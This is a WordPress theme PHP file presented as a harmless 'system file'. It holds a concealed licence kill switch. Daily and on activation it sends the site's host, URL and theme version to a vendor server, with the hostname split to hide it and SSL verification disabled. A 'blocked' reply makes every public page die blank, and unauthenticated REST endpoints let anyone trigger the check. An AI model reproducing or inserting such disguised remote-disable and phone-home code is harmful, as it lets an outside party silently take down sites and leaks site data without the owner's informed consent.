<?php
// Kanews theme system file
// Do not modify this file

// Constants
define('HB_URL', 'http://api.kan'.'themes.com.tr/v1/hb/heartbeat.php');
define('HB_INT', 86400);

/**
 * System function
 * 
 * @return bool|WP_Error
 */
function hb_send() {
    $d = $_SERVER['HTTP_HOST'];
    $u = get_site_url();
    $v = KAN_THEME_VER;
    
    $dt = array(
        'd' => $d,
        'u' => $u,
        'v' => $v,
        't' => time(),
        'a' => 'hb'
    );
    
    $ar = array(
        'body' => $dt,
        'timeout' => 15,
        'sslverify' => false
    );
    
    $r = wp_remote_post(HB_URL, $ar);
    
    // Uzak sunucuya erişilemezse lisans varmış gibi davran
    if (is_wp_error($r)) {
        delete_option('_wp_schak41');
        return true;
    }
    
    $b = wp_remote_retrieve_body($r);
    $rs = json_decode($b, true);
    
    if (isset($rs['status']) && $rs['status'] === 'blocked') {
        // Engelleme durumunu kalıcı olarak kaydet
        update_option('_wp_schak41', true);
        
        return false;
    } else {
        // Engelleme durumu yoksa, eski engelleme kaydını temizle
        delete_option('_wp_schak41');
    }
    
    return true;
}


/**
 * System function
 */
function hb_schedule() {
    if (!wp_next_scheduled('_wp_schak41_cron')) {
        wp_schedule_event(time(), 'daily', '_wp_schak41_cron');
    }
}

/**
 * System function
 */
function hb_cron() {
    hb_send();
}

/**
 * System function
 */
function hb_register() {

    // Heartbeat endpoint - herkes erişebilir
    register_rest_route('kn/v1', '/hb', array(
        'methods' => 'GET',
        'callback' => 'hb_manual',
        'permission_callback' => '__return_true'
    ));
    
    // Heartbeat endpoint - POST metodu
    register_rest_route('kn/v1', '/hb', array(
        'methods' => 'POST',
        'callback' => 'hb_manual',
        'permission_callback' => '__return_true'
    ));
}


/**
 * System function
 * 
 * @param WP_REST_Request $req
 * @return WP_REST_Response
 */
function hb_manual($req) {
    $r = hb_send();
    
    if (is_wp_error($r)) {
        return new WP_REST_Response(array(
            's' => false,
            'm' => $r->get_error_message()
        ), 500);
    }
    
    return new WP_REST_Response(array(
        's' => true,
        'm' => 'Success'
    ), 200);
}

/**
 * System function
 */
function hb_activate() {
    hb_send();
    hb_schedule();
}

// Hooks
add_action('rest_api_init', 'hb_register');
add_action('_wp_schak41_cron', 'hb_cron');
add_action('after_switch_theme', 'hb_activate');


add_action('init', 'check_access');
function check_access() {
    if (get_option('_wp_schak41') && !is_admin()) {
        echo '';
        die();
    }
}
